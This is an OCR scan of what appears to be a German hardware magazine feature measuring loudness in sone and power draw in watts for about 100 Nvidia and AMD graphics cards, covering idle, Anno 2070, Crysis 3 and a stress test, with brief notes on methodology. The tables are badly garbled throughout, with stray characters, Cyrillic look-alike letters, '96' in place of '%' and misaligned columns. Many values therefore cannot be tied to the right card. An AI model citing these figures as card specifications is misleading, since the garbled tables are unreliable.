Asus R9 Fury Strix 00 2,0 (-72 %) | | Nvidia Geforce GTX 670 , Referenz" 09 5,0 (-65 96) | | Asus GTX 980 Ti Matrix Platinum 08 22,0 (-49 96) 
Sapphire R7 370 Nitro 4GB 00 2,0 £72 96) | | Nvidia Geforce GTX 680 , Referenz" 09 5,0 (65 %) | | Gigabyte RX 470 G1 Gaming 4G 00 22,0 (49 96) 
ХЕХ R7 370 Double Dissipation 4GB 0,6 2,0 (-72 %) | | AMD Rad. HD 7970 GHz-Ed. , Referenz" 08 5,0 (-65 96) | | Asus R9 390X Strix DC30C 0,0 22,0 (49 %) 
Nvidia Geforce GTX 980 , Referenz" 03 2,0 (-72 %) | | AMD Radeon RX 480 , Referenz" 03 5,0 (-65 96) | | Asus R9 390 Strix DC30C 00 22,0 (-49 %) 
AMD Radeon HD 7970 , Referenz" 07 2,0 (7296) | | KFA? Geforce GTX 980 Ti 03 6,0 (63 %) | | AMD Radeon HD 6970 , Referenz" 05 22,0 (-49 96) 
AMD Radeon R9 Nano , Referenz" 07 2,0 (772 %) | | Gigabyte GTX 980 Ti G1 Gaming 0,0 6,0 (63 %) | | AMD Radeon R9 290X Uber , Referenz" 06 22,0 (-49 96) 
MSI GTX 1080 Gaming X 8G 0,0 3,0 (-70 %) | | EVGA GTX 980 Ti SC+ ACX 2.0+ 0,0 6,0 (-63 %) | | EVGA GTX 980 Classified 0,0 23,0 (-47 %) 
Gigabyte GTX 1070 Xtreme Gaming 0,0 3,0 (-70 %) | | Gigabyte GTX 980 G1 Gaming 01 6,0 (63 %) | | MSI R9 390X Gaming 8G 0,0 23,0 (-47 96) 
Gainward GTX 980 Phantom 02 3,0 (-70 96) | | Zotac GTX 980 AMP! Omega 02 6,0 (63 %) | | Nvidia Geforce GTX 690 , Referenz" 08 25,0 (-42 96) 
Asus GTX 970 Direct CU Mini OC 04 3,0 (-70 %) | | Zotac Geforce GTX 970 02 6,0 (63 %) | | AMD Radeon HD 5870 , Referenz" 05 25,0 (-42 96) 
MSI GTX 970 4GD5T OC 03 3,0 (-70 %) | | Sapphire Radeon RX 480 Ref. (4 GiByte) 03 6,0 (-63 %) | | AMD Radeon HD 6850 , Referenz" 09 25,0 (42 %) 
EVGA GTX 970 FTW 0,0 3,0 (-70 %) | | MSI RX 470 Gaming X 4G 0,0 6,0 (-63 %) | | Zotac GTX 980 Ti AMP Extreme 0,0 27,0 (-37 %) 
KFA2 СТХ 960 ЕХОС 0,0 3,0 (-70 96) | | HIS R9 380X IceQ X? Turbo 0,6 6,0 (-63 %) | | Nvidia Geforce GTX 285 , Referenz" 1,6 27,0 (-37 %) 
Sapphire RX 480 Nitro+ OC 8GB , Quiet" 0,0 3,0 (70 %) | | Nvidia Geforce GTX 780 Ti , Referenz" 06 6,0 (63 %) | | Nvidia Geforce GTX 570 , Referenz" 08 28,0 (-35 96) 
Nvidia Geforce GTX Titan 03 3,0 (70 %) | | Nvidia Geforce GTX 560 Ti , Referenz" 08 6,0 (-63 90) | | EVGA GTX 980 Ti Classified 00 29,0 (-33 %) 
Palit GTX 980 Super Jetstream 0,0 4,0 (67 96) | | КРА? GTX 980 HOF "8Pack"-Edition 0,9 7,0 (60 %) | | Nvidia Geforce GTX 470 , Referenz" 1,0 30,0 (-30 %) 
MSI GTX 980 Gaming 4G 0,0 4,0 (67 96) | | Zotac GTX 970 AMP! Extreme 0,4 7,0 (-60 %) | | AMDRadeon HD 7990 , Referenz" 0,4 30,0 (-30 96) 
Asus GTX 980 Strix 00 4,0 (67 96) | | XFX RX 480 GTR Black Edition 00 7,0 (660 90) | | Nvidia Geforce GTX 580 , Referenz" 08 33,0 (23 %) 
MSI GTX 970 Gaming 4G 00 4,0 (67 96) | | Powercolor RX 470 Red Devil 00 7,0 (460 %) | | AMD Radeon HD 6990 , Referenz" 19 42,0 (2 96) 
Gigabyte GTX 960 G1 Gaming-4GD 00 4,0 (67 %) | | Gigabyte GTX 970 G1 Gaming 09 8,0 (58 %) | | Nvidia Geforce GTX 480 , Referenz" 11 43,0 (Basis) 
System: Neutrik Cortex Instruments Psychoacoustic Loudness Analyzer NC10 im schallisolierten Raum (0,1 Sone/15,6 dB(A); Adex PEX16IX PCI-Express-Extender und Chauvin Arnoux РОЗ Zangenamperemeter. Bonel Watt 
Lautheit gemessen aus 50 cm Abstand senkrecht zur Lüfternabe. Bemerkungen: Aktuelle Geforce-Karten bieten im Leerlauf einen kleinen Verbrauchsvorteil gegenüber den Radeon-Modellen. < Besser 
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SPECIAL | 100 Grafikkarten: Lautheit & Verbrauch 


Grafikkarten unter Last: Lautheit 


Bereits seit vielen Jahren gibt PC Games Hardware (nicht nur) bei Grafikkartentests auch 
die aufwendig gemessene Lautheit an. Im Gegensatz zur Lautstärke, welche meist in 
Dezibel, der logarithmischen Skala des Schalldrucks, wiedergegeben wird, bewertet die 
Lautheit neben dem reinen , Krach" auch die psychoakustischen Faktoren. So stört ein 
niederfrequentes Rauschen zum Beispiel weniger als ein durchdringendes Heulen. 


Wir messen die Lautheit aus 50 Zentimetern Abstand senkrecht zur Lüfternabe ohne 
umgebendes Gehäuse, da ein solches für — je nach Geráuschtyp unterschiedliche — 
Verfälschungen sorgt. Ohne Gehäuse ist das reine Lüftergeräusch unverfálscht und so 
objektiv messbar. Wir haben uns für 50 Zentimeter anstelle des normgerechten vollen 
Meters Distanz entschieden, da moderne Grafikkarten vergleichsweise leise sind, aber 
oft nah am Nutzer, etwa auf dem Schreibtisch, stehen. 


Lautheit in Sone: Anno 2070 (Wert im Balken, HD 5000 und GTX 400 noch mit BF2 BC gemessen) und Stresstest (PCGH VGA-Tool) 


MSI GTX 1050 Ti Gaming X 4G BOBI 0,3 (-97 % Inno 3D GTX 1070 iChill ХЗ ‚5 (-86 96) 
Gigabyte GTX 1050 Ti G1 Gaming 4G ЗЇ 0,3 (-97 96 KFA? GTX 1060 3GB OC ‚5 (-86 96) 
MSI GTX 750 Ti Gaming 26 ВОЗ! 0,3 (-97 96 Zotac GTX 1050 Ti OC Edition —  À. 1,5 (-86 96) 
EVGA GTX 1050 Ti SC Gaming Ш 0,4 (-96 96) Palit GTX 980 Super Jetstream Ema 1,5 (-86 %) 
Asus GTX 1050 Expedition ВОЗ 0,5 (-95 %) Zotac GTX 970 AMP! Extreme [EX 1,5 (-86 96) 
MSI GTX 960 Gaming 4G jl 0,6 (-94 96) KFA? GTX 950 Black OC Sniper 1,5 (-86 %) 
Gainward GTX 1070 Phoenix СІН Xn 0,7 (-94 %) HIS RX 470 IceQ X? Turbo ES! 1,5 (-86 96) 
EVGA GTX 1070 SC Gaming ACX 3.0 Eum 0,7 (-94 %) Asus R9 380X Strix OCAG-Gaming [ERES 1,5 (-86 %) 
MSI GTX 1060 Gaming X 6G Em 0,7 (-94 96) MSI GTX 980 Ti Lightning El 1,6 (-85 96) 
Asus GTX 970 Strix ОС Em 0,7 (-94 %) MSI GTX 980 Gaming 4G El 1,6 (-85 %) 
Palit GTX 960 Jetstream AGB EX 0,7 (-94 %) Asus RX 460 Strix O4G [XXe 1,6 (-85 %) 
Palit GTX 1070 Game Rock Premium [E 0,8 (-93 %) AMD Radeon R9 Fury X ati 1,6 (-85 %) 
Asus GTX 1050 Ti Strix O4G Gaming ОЈ 0,9 (-92 %) Sapphire R9 Fury Tri-X ОС 1,6 (-85 96) 
Zotac GTX 1060 АМР! EXER! 1,0 (-91 96) Sapphire R9 380 Nitro EX ES 1,7 C84 %) 
Inno 3D GTX 980 Ti iChill X3 Ultra EE 1,1 (-90 96) Asus GTX 1070 Strix ОС EIE! 1,8 (-83 %) 
Sapphire R7 370 Nitro 4GB Egg ШЕШ 1,1 (-90 %) Asus GTX 970 Direct CU Mini ОС EX 8, 1,8 (-83 %) 
EVGA GTX 1070 FTW Gaming ACX 3.0 EN 1,2 (-89 96) Inno 3D GTX 1080 iChill ХЗ El 1,9 (-83 96) 
Palit GTX 1060 Super Jetstream X3! 1,3 (-88 90) Zotac GTX 1080 AMP! Extreme ЖЕЕ БЕ 1,9 (-83 %) 


MSI GTX 1070 Gaming X 8G |a 1,4 (-87 % 
Gainward GTX 1060 Phoenix GS Ema 1,4 (-87 % 
Palit GTX 1060 3GB Dual Et 1,4 (-87 % 

Palit GTX 980 Ti Super Jetstream EX" 1,4 (-87 96 


Zotac GTX 1070 AMP! Extreme ВЕС 1,9 (-83 90) 
Gainward GTX 980 Ti Phoenix „GS” maaa 2,0 (-82 96) 
Zotac GTX 980 AMP! Omega Ey! 2,0 (-82 96) 
Evga GTX 980 Superclocked ACX 2.0 gm 2,1 (-81 96) 


Palit GTX 970 Jetstream EX: 1,4 (-87 96) MSI GTX 970 Gaming 46 Emm 2,1 (-81 96) 
Palit GTX 1080 Game Rock Premium wai 1,5 (-86 96) MSI GTX 980 Ti Gaming 6G ОД 2,2 (-80 96) 
Gainward GTX 1080 Phoenix СІН XXX S! 1,5 (-86 %) Asus GTX 980 Strix XXX 2,2 (-80 96) 

Grafikkarte Spiel | Stresstest | | Grafikkarte Spiel | Stresstest || Grafikkarte Spiel | Stresstest 
EVGA GTX 970 FTW 22 2,2 (-80 %) || Asus R9 390 Strix DC30C 32 2 2 (-71%) || Asus RX 480 Strix OC 42 4,2 (61 96) 
MSI GTX 1080 Gaming X 8G 23 2,3 (779 90) | | EVGA GTX 1060 Gaming 32 ,3 (C70 96) | | Nvidia Geforce GTX Titan 3,2 4,2 (61 96) 
Powercolor RX 480 Red Devil „OC" 23 2,3 (-79%) | | Asus GTX 980 Ti Strix DC30C 33 5 (70%) || Nvidia Geforce GTX 680 , Referenz" 35 4,3 (-61 %) 
EVGA GTX 1080 FTW Gaming ACX 3.0 2,4 2,4 (-78 %) | | Galax (KFA?) Geforce GTX 980 2,7 3,3 (-70 %) | | AMD Radeon HD 7870 „Referenz“ 3⁄1 4,3 (61 96) 
Nvidia GTX 1060 6GB Founders Edition 24 2,4 (78 %) | | HIS Radeon RX 480 (8 GiByte) 33 3,3 (7096) || Nvidia Gef. GTX 1080 „Founder's Edition" 42 4,4 (-60 96) 
Asus GTX 1060 Strix OC 24 2,4 (78 90) | | AMD Radeon RX 480 , Referenz" 3 3,3 (7096) || Nvidia Geforce GTX 780 , Referenz" 32 4,4 (-60 96) 
Gigabyte GTX 1060 G1 Gaming 6G 24 2,4 (-78 96) | | Zotac GTX 1060 3GB Mini 34 3,4 (-69 %) | | AMD Radeon R9 290 „Referenz“ 44 4,4 (60 %) 
MSI АХ 480 Gaming X 8G 22 2,4 (-78 %) | | EVGA GTX 980 Classified 26 3,4 (69 96) | | ХЕХ RX 480 GTR Black Edition 46 4,7 (57 96) 
Gigabyte RX 470 G1 Gaming 4G 17 2,4 (-78 %) | | Palit Geforce GTX 970 34 3,4 (-69 %) | | Powercolor RX 470 Red Devil 46 4,7 (-57 %) 
KFA? GTX 1080 Hall of Fame (HOF) 22 2,5 (-77 %) | | Gigabyte GTX 1070 G1 Gaming 3,5 3,5 (68 %) || Nvidia Titan X (Pascal) 4,9 4,9 (-55 %) 
EVGA GTX 1060 SC Gaming 25 2,5 (77 %) | | Gigabyte GTX 980 Ti G1 Gaming 3,5 3,5 (68%) || MSI R9 390X Gaming 8G 49 2 (55%) 
Sapphire R9 380X Nitro 24 2,5 (-77 %) | | Asus GTX 1080 Strix OC 3,6 3,6 (67 %) || Nvidia Geforce GTX 780 Ti „Referenz“ 46 5,1 (-53 96) 
Gigabyte GTX 1070 Xtreme Gaming 26 2,6 (-76 %) | | Asus RX 470 Strix OC 32 3,6 (67 %) | | Nvidia Geforce GTX Titan X 43 5,2 (-52 96) 
Gainward GTX 980 Phantom 26 2,6 (-76 %) | | PNY Geforce GTX 980 32 3,8 (-65 %) || Nvidia Geforce GTX 980 Ti „Referenz“ 45 5,3 (51 96) 
Asus GTX 980 Ti Matrix Platinum 2,7 2,7 (15 %) | | Asus GTX 980 Matrix Platinum 3,8 3,8 (-65 %) || AMD Radeon HD 6970 „Referenz“ 48 5,5 (-50 %) 
Sapphire RX 470 Nitro+ 4D5 0C 25 2,7 (-75 %) | | Sapphire R9 390X Tri-X 3,8 3,8 (-65 %) || KFA2 Geforce GTX 980 Ti 43 58 (47 %) 
Sapphire R9 390 Nitro. 26 2,1 (-75 %) | | EVGA GTX 980 Ti SC- ACX 2.0+ 39 3,9 (6496) || AMD Radeon HD 7970 „Referenz“ 41 5.9 (46 %) 
Zotac GTX 980 Ti AMP Extreme 28 2,8 (-74 %) || Nvidia Geforce GTX 980 , Referenz" 3,0 3,9 (-64 %) | | Sapph. RX 480 Nitro+ ОС 8GB „Boost"* 5,4 6,6 (39 %) 
AMD Radeon R9 Nano , Referenz" 24 2,8 (-74 %) || Nvidia Geforce GTX 770 , Referenz" 28 3,9 (-64 90) || AMD Radeon HD 5870 , Referenz" 3,4 6,8 (-38 %) 
Asus R9 Nano White 29 2,9 (-73 %) | | Nvidia Geforce GTX 560 Ti , Referenz" 1,1 3,9 (-64 96) || Gigabyte GTX 980 G1 Gaming 56 3 (33 %) 
MSI RX 470 Gaming X 4G 18 3,0 (77296) | | Gigabyte GTX 1080 G1 Gaming 41 4,1 (-62 %) || Nvidia Geforce GTX 580 , Referenz" 34 4 C32 96) 
Asus R9 Fury Strix 26 3,1 (-72 %) | | ХЕХ R9 380X DD Black Edition ОС 3,9 4,1 (62 %) || AMD Rad. R9 290X Uber , Referenz" ** 96 9,6 (-12 96) 
Gigabyte GTX 970 G1 Gaming 26 3,2 (-71 %) | | Nvidia Gef. GTX 1070 „Founder's Edition" 29 4,1 (-62 %) || Nvidia Geforce GTX 480 , Referenz" 6,9 10, 9 (Basis) 

System: Neutrik Cortex Instruments Psychoacoustic Loudness Analyzer NC10 im schallisolierten Raum (0,1 Sone/15,6 dB(A); Lautheit gemessen aus 50 cm Abstand senkrecht zur Lüfternabe. Bemerkungen: Sone 

* Sapphire RX 480 Nitro+ OC 8GB , Quiet": 4,8/4,8 Sone. ** AMD Radeon R9 290X Quiet , Referenz" 4,4/4,4 Sone. Wenig überraschend sind in den Benchmarks dieses Artikels Mittelklasse-Grafikkarten weit vorn. Spiel] Stresst. 

Bei der Lautheit sind die Karten besser durchmischt als beim Stromverbrauch, denn hier kónnen die Boardpartner mit ihrer Expertise einiges bewirken (s. Sapphire R9 Fury Tri-X OC mit 1,6 Sone). < Besser 
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Grafikkarten unter Last: Verbrauch 


Der Stromverbrauch einer Grafikkarte ist nicht nur ein Kostenfaktor, sondern beeinflusst 
auch die Wàrmeentwicklung und somit die Kühlerlautheit. Daher handelt es sich auch 
abseits des monetären und ökologischen Aspektes um einen interessanten Faktor. 


Wie im Fließtext beschrieben, messen wir die Leistungsaufnahme der Grafikkarte schon 
seit vielen Jahren isoliert vom restlichen System und nutzen dazu PCI-Express-Extender 
und präzise Amperezangen. Noch immer kristallisiert sich Anno 2070 in unserer Bench- 
markszene als eines der forderndsten Spiele (wenn nicht das forderndste) heraus. Die 
Leistungsaufnahme liegt bei aktuellen Grafikkarten durch die variable Boost-Funktion 
meist sehr nahe an der per VBIOS spezifierten TDP-Grenze. Im Stresstest dürfen die Kar- 
ten ähnlich viel verbrauchen, werden aber beim Takt teils deutlich gebremst. Ältere Mo- 
delle, etwa die HD 7870 oder die GTX 580, zeigen hier teils dramatische Unterschiede. 


Grafikkartenverbrauch in Watt: Anno 2070 (Wert im Balken, HD 5000 und GTX 400 noch mit BF2 BC gemessen) und Stresstest (PCGH VGA-Tool) 


Asus GTX 1050 Expedition Ei 55 (-82 %) Nvidia Gef. GTX 1070 „Founder's Ed.” EXEC] 150 (-51 96) 
Zotac GTX 1050 Ti OC Edition E541] 58 (-81 96) Asus RX 470 Strix ОС ad 8 151 (-50 96) 
EVGA GTX 1050 Ti SC Gaming 56| 59 (-81 96) EVGA GTX 1070 SC Gaming ACX 3.0 MEE 153 (-50 96) 
Gigabyte GTX 1050 Ti G1 Gaming 4G [En 68 (-78 %) Gigabyte GTX 1060 G1 Gaming 6G. EX 153 (-50 %) 
MSI GTX 750 Ti Gaming 26 Essi 8 73 (-76 %) AMD Radeon RX 480 , Referenz" EX 55! 156 (-49 90) 
MSI GTX 1050 Ti Gaming X 4G oer 76 (-75 %) HIS RX 470 IceQ X? Turbo etii 162 (-47 96) 


Asus GTX 1050 Ti Strix O4G Gaming Xe 92 (-70 %) 
Asus RX 460 Strix O4G. BB 105 (-65 %) 
KFA? GTX 950 Black OC Sniper | 110 (-64 %) 


EVGA GTX 1060 SC Gaming Eat 125 (-59 %) 
Palit GTX 1060 Super Jetstream [qas 125 (-59 96) 
Gainward GTX 1060 Phoenix GS [aq 125 (-59 96) 
Palit GTX 1060 3GB Dual |i 127 (-58 96) 
Palit GTX 960 Jetstream 4GB E28! 127 (-58 96) 
MSI GTX 960 Gaming 4G EB 136 (-55 96) 


HIS Radeon RX 480 (8 GiByte) Ee 164 (-46 96) 
Asus GTX 1070 Strix ОС eg! 167 (-45 %) 
Asus GTX 970 Strix oc 65 168 (-45 96) 


Nvidia GTX 1060 6GB Founders Edition Eo! 120 (-61 %) Palit GTX 1070 Game Rock Premium Enti 174 (-43 96) 
Zotac GTX 1060 3GB Mini Eo! 120 (-61 96) Gainward GTX 1070 Phoenix СІН Eg! 174 (-43 %) 

Sapphire R7 370 Nitro AGB. REESE] 120 (-61 96) Nvidia Geforce GTX 980 „Referenz“ ENS 174 (-43 %) 

Zotac GTX 1060 АМР! Eni 123 (-60 %) Zotac GTX 970 AMP! Extreme [Egit 175 (-42 96) 

KFA? GTX 1060 3GB OC |i 123 (-60 96) EVGA GTX 970 FTW Est 175 (-42 96) 

EVGA GTX 1060 Gaming Egit 124 (-59 %) Palit Geforce GTX 970 SESTO Eli 178 (-41 96) 


Galax (КРА?) Geforce GTX 980 ez Ex 180 (-41 90) 
Asus RX 480 Strix ОС ME) 180 (-41 96) 

AMD Radeon R9 Nano „Referenz“ Ew! 180 (-41 %) 
PNY Geforce GTX 980 ВЕСА 181 (40 %) 

Gigabyte GTX 1070 G1 Gaming NNN 182 (-40 %) 
Powercolor RX 470 Red Devil Eun 182 (-40 96) 


AMD Radeon HD 7870 , Referenz" EX Eu 138 (-55 90) Asus GTX 980 Matrix Platinum Es! 185 (-39 %) 
Asus GTX 1060 Strix ОС Eas! 145 (-52 96) Gigabyte RX 470 G1 Gaming 4G EXC 185 (-39 90) 
MSI GTX 1060 Gaming X 6G Ea 146 (-52 %) Nvidia Gef. GTX 1080 „Founder's Ed.” waar 185 (-39 96) 
Asus GTX 970 Direct CU Mini ОС EXE! 149 (-51 90) Palit GTX 970 Jetstream en 187 (-38 90) 
Verbrauch Grafikkarte Spiel | Stresstest || Verbrauch Grafikkarte Spiel | Stresstest || Grafikkarte Spiel | Stresstest 
Inno 3D GTX 1070 iChill X3 90 192 (-37 %) | | AMD Radeon HD 6970 , Referenz" 186 218 (28 %) | | KFA? Geforce GTX 980 Ti 245 260 (-14 96) 
Nvidia Geforce GTX 680 , Referenz" 74 192 (-37 96 Palit GTX 1080 Game Rock Premium 220 220 (-28 %) | | Palit GTX 980 Super Jetstream 245 260 (-14 %) 
XFX R9 380X DD Black Edition OC 92 194 (-36 % Gainward GTX 1080 Phoenix GLH 219 220 (-28 %) | | Nvidia Geforce GTX 980 Ti „Referenz" 224 261 (-14 %) 
Evga GTX 980 Superclocked ACX 2.0 97 199 (-35 % MSI RX 470 Gaming X 4G 188 222 (-27 %) | | Palit GTX 980 Ti Super Jetstream 255 262 (-14 %) 
Nvidia Geforce GTX 770 , Referenz" 66 199 (-35 %) | | MSI RX 480 Gaming X 8G 209 225 (26 %) | | EVGA GTX 980 Classified 239 264 (-13 %) 
AMD Radeon HD 5870 , Referenz" 38 199 (-35 96 Sapph. RX 480 Nitro+ OC 8GB , Boost" * 215 230 (24 %) | | Asus R9 Fury Strix 263 274 (-10 96) 
Zotac GTX 980 AMP! Omega 96 200 (-34 96 AMD Radeon HD 7970 , Referenz" 195 234 (-23 96) | | Zotac GTX 1080 AMP! Extreme 259 275 (-10 %) 
Powercolor RX 480 Red Devil OC" 98 200 (-34 96 Nvidia Geforce GTX Titan 230 237 (-22 96) | | Inno 3D GTX 980 Ti iChill ХЗ Ultra 275 275 (-10 %) 
Gigabyte GTX 1080 G1 Gaming 200 201 (-34 %) | | Inno 3D GTX 1080 iChill ХЗ 237 239 (-21 96) | | Asus GTX 980 Ti Matrix Platinum 276 276 (-9 %) 
Asus GTX 980 Strix 97 201 (34%) | | MSI GTX 980 Ti Gaming 6G 240 241 (2196) | | Gigabyte GTX 980 Ti G1 Gaming 280 284 (-7 %) 
Asus GTX 1080 Strix OC 99 202 (3496) | | Gainward GTX 980 Phantom 22] 242 (20 %) || Asus GTX 980 Ti Strix DC30C 297 297 (2 %) 
MSI GTX 980 Gaming 4G 201 202 (34 %) | | MSI GTX 1080 Gaming X 8G 235 245 (-19 %) | | MSI GTX 980 Ti Lightning 300 300 (-1 96) 
MSI GTX 970 Gaming 4G 201 203 C33 %) | | Nvidia Titan X (Pascal) 231 246 (-19 %) | | Gigabyte GTX 980 G1 Gaming 237 300 (-1 %) 
XFX RX 480 GTR Black Edition 90 203 (33 %) | | EVGA GTX 1080 FTW Gaming ACX 3.0 237 247 (19 96) | | Nvidia Geforce GTX 480 , Referenz" 230 304 (Basis) 
Asus R9 380X Strix OCAG-Gaming 99 203 (-33 96 Sapphire R9 380X Nitro 239 250 (-18 %) | | AMD Rad. R9 290X Uber Referenz" ** 289 305 (+0 90) 
Gigabyte GTX 1070 Xtreme Gaming 202 205 (-33 96 Nvidia Geforce GTX 780 Ti „Referenz“ 245 251 (-17 96) | | Zotac GTX 980 Ti AMP Extreme 296 306 (+1 96) 
Asus R9 Nano White 98 205 (-33 96 Zotac GTX 1070 AMP! Extreme 219 253 (-17 %) | | Nvidia Geforce GTX 580 , Referenz" 221 312 (+3 %) 
Sapphire R9 380 Nitro 93 205 (-33 % AMD Radeon R9 290 , Referenz" 244 253 (17 %) | | Sapphire R9 390 Nitro 298 319 (+5 90) 
MSI GTX 1070 Gaming X 8G 208 208 (3296) | | KFA? GTX 1080 Hall of Fame (HOF) 232 255 (-16 %) | | Sapphire R9 390X Tri-X 303 340 (+12 %) 
Nvidia Geforce GTX 560 Ti , Referenz" 52 208 (-32 %) | | EVGA GTX 980 Ti SC + ACX 2.0+ 253 255 (-16 %) | | Asus R9 390 Strix DC30C 333 349 (+15 96) 
Ѕаррһіге АХ 470 Nitro+ 405 ОС 95 209 (31 %) | | Gigabyte GTX 970 G1 Gaming 220 255 (-16 %) | | Sapphire R9 Fury Tri-X OC 301 373 (+23 %) 
EVGA GTX 1070 FTW Gaming ACX 3.0 200 212 (-30 %) | | Nvidia Geforce GTX Titan X 243 256 (-16 %) | | AMD Radeon R9 Fury X 321 385 (+27 %) 
Nvidia Geforce GTX 780 , Referenz" 201 218 (-28 % Gainward GTX 980 Ti Phoenix "GS" 257 259 (-15 %) | | MSI R9 390X Gaming 8G 391 401 (+32 96) 
System: Adex PEX16IX PCI-Express-Extender und Chauvin Arnoux F03 Zangenamperemeter. Bemerkungen: *Sapphire RX 480 Nitro+ OC 8GB „Quiet“: 206/220 Watt .**AMD Radeon R9 290X Quiet „Refe- Watt 
renz” 230/267 Watt. Nvidias aktuelle Pascal-Generation (Geforce-10-Reihe) kommt in Anbetracht der erbrachten Leistung mit wenig Strom aus. Dass Spieleverbrauch und Stresstest bei modernen Karten sehr nah Spiel] Stresst. 
beieinander liegen, zeigt, dass die Ausnutzung der Power-Reserven dank des Boosts gut funktioniert — denn meist takten die Karten im Stresstest deutlich weiter herunter als selbst unter hoher Spielelast. < Besser 
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Grafikkarten: Leistungsaufnahme im mäßig fordernden Crysis 3 


Auch wenn Crysis 3 zum Launch im Jahr 2013 optisch extrem opulent daherkam und 
selbst heute noch ziemlich gut aussieht, ist es für die meisten Grafikkarten nur durch- 
schnittliche Kost — zumindest mit der Leistungsaufnahme als Gradmesser. 


Für unseren Test nutzen wir die , Einsteiger" -Einstellungen unseres Grafikkartentests 
im Level , Fields". Wir begeben uns an die Tür, durch welche der Spieler die Innenráume 
zu Levelbeginn verlässt, und richten den Blick auf den zerstörten Radpanzer. Nach 10 
Minuten zusätzlicher Aufheizzeit (in einem schon zuvor vorgeheizten System) unter 
dieser konstanten Last messen wir den Stromfluss durch die 12-Volt-Leitungen (je nach 


die 3,3-Volt-Leitung. 


EVGA GTX 1050 Ti SC Gaming EEE 55 (-74 %) 
Asus GTX 1050 Expedition IE 55 (-74 %) 
Zotac GTX 1050 Ti OC Edition Xu 58 (-73 %) 
Asus GTX 1050 Ti Strix 04G Gaming [EI 64 (-70 %) 
MSI GTX 1050 Ti Gaming X 4G [Ew 66 (-69 %) 
Gigabyte GTX 1050 Ti G1 Gaming 4G. EEE 67 (-69 %) 
Asus RX 460 Strix OAG Eu 88 (-59 %) 
MSI GTX 950 2605 OC EN 91 (-57 %) 
KFA? GTX 950 Black OC Sniper Ew 100 (-53 %) 
EVGA GTX 950 FTW Eu 102 (-52 %) 
Sapphire R7 370 Nitro 4GB Xu 105 (-51 96) 
Gigabyte GTX 950 Xtreme [eu 107 (-50 %) 
Zotac GTX 1060 3GB Mini EEE 108 (-50 %) 
KFA? GTX 960 Gamer OC Mini Eu 109 (-49 %) 
EVGA GTX 1060 Gaming En 114 (-47 96) 
EVGA GTX 1060 SC Gaming EX 115 (46 %) 
Palit GTX 1060 3GB Dual [Ew 115 (-46 %) 
Nvidia GTX 1060 6GB „Founder's Ed." Eu 116 (-46 96) 
ХЕХ R7 370 Double Dissipation AGB Eu 117 (45 %) 
MSI GTX 1060 Gaming X 6G E 119 (-44 %) 
Palit GTX 1060 Super Jetstream [eu 120 (-44 %) 
Gainward GTX 1060 Phoenix GS Eu 120 (-44 9) 
KFA? GTX 1060 3GB OC | 120 (-44 96) 
Zotac GTX 1060 AMP! pu 121 (43 96) 
Asus GTX 1060 Strix ОС Em 124 (-42 9) 
Gigabyte GTX 1060 G1 Gaming 6G Eu 125 (42 %) 
Asus RX 470 Strix ОС SB. 146 (-32 96) 
EVGA GTX 1070 SC Gaming ACX 3.0 | 148 (-31 90) 
Nvidia GTX 1070 , Founder's Edition” Ew 149 (-30 %) 
HIS Radeon RX 480 (8 GiByte) E 157 (-27 96) 
AMD Radeon RX 480 , Referenz" [Xm 157 (27 %) 
Sapphire RX 480 Nitro+ OC 4GB „Quiet” EX 159 (-26 96) 
Sapphire Radeon RX 480 (4 GiByte) EX 159 (-26 96) 
HIS RX 470 IceQ X? Turbo 159 (-26 %) 
Gigabyte RX 470 G1 Gaming 4G Ж 161 (-25 %) 
Asus GTX 1070 Strix OC maaa 162 (-24 %) 
EVGA GTX 1070 FTW Gaming ACX 3.0 Eu 162 (-24 %) 
Gigabyte GTX 1070 G1 Gaming En 165 (-23 %) 
Nvidia Geforce GTX 980 „Referenz“ Fo 165 (-23 96) 
Inno 3D GTX 1070 iChill ХЗ En 166 (-22 %) 
MSI RX 470 Gaming X 4G ШЕЕ 167 (22 %) 
MSI GTX 1070 Gaming X 8G 168 (-21 %) 
Palit GTX 1070 Game Rock Premium Eu 170 (-21 96) 
Gainward GTX 1070 Phoenix СІН Eu 170 (-21 96) 
Sapphire R9 380 Nitro 8 171 (-20 %) 
(19 %) 
(-19 96) 
Zotac GTX 1070 AMP! Extreme EX 175 (-18 %) 
(18 90) 
Nvidia GTX 1080 „Founder's Edition“ EX 175 (-18 %) 


Powercolor RX 470 Red Devil ai 173 
Asus R9 380X Strix OCAG-Gaming [SZ 174 


HIS R9 380X IceQ X? Turbo aaa 175 


Grafikkarte nur den Slot oder auch die zusátzlichen Stromanschlüsse vom Netzteil) sowie 


Grafikkartenverbrauch (Watt) in Crysis 3 (1.920 x 1.080, max. Details SMAA Hoch (4x), 16:1 AF) 


ХЕХ R9 380X DD Black Edition OC Eu 177 (17 %) 
Sapphire RX 480 Nitro+ OC 4GB „Boost“ EET 178 (-17 96) 
Asus RX 480 Strix ОС | 178 (-17 %) 
KFA? GTX 1080 Hall of Fame (HOF) EEE 180 (-16 96) 
AMD Radeon R9 Nano „Referenz“ ESSEN 180 (-16 96) 
Sapphire RX 480 Nitro+ ОС 8GB „Quiet“ EEE 183 (-14 96) 
Sapphire RX 470 Nitro+ 405 OC EX 184 (-14 96) 
MSI R9 380 Gaming 4G Ew 184 (-14 %) 
MSI АХ 480 Gaming X 8G Eu 187 (-13 %) 
Gigabyte GTX 1070 Xtreme Gaming Eu 188 (-12 %) 
ХЕХ RX 480 GTR Black Edition Eu 188 (-12 96) 
EVGA GTX 1080 FTW Gaming ACX 3.0 E 190 (-11 96) 
MSI GTX 1080 Gaming X 8G Eu 192 (-10 90) 
Gigabyte GTX 1080 G1 Gaming Ew 193 (-10 96) 
Gainward GTX 1080 Phoenix СІН | 193 (-10 96) 
Inno 3D GTX 1080 iChill ХЗ EEE 194 (-9 %) 
Asus GTX 1080 Strix ОС EX 195 (-9 96) 
Asus R9 Nano White [Xu 195 (-9 96) 
Asus R9 380 Strix DC2OC-2GD5 EX 195 (-9 %) 
Palit GTX 1080 Game Rock Premium Xu 198 (-7 96 
Powercolor RX 480 Red Devil OC" EEE 198 (-7 96 

(7 

Lë 

(3 


lo. 


(9 
(9 


96 


Powercolor RX 480 Red Devil „Silent“ EX 198 
Zotac GTX 1080 AMP! Extreme [Xx 202 
Sapphire RX 480 Nitro+ OC 8GB „Boost“ [Xu 208 (-3 96) 
Sapphire R9 380X Nitro Eu 210 (2 %) 
Nvidia Geforce GTX Titan Eu 214 (Basis) 
Asus R9 Fury Strix EEE 215 (+0 96) 
Nvidia Titan X (Pascal) ШШШ 227 (+6 %) 
Nvidia Geforce GTX 980 Ti „Referenz“ Eu 230 (+7 96) 
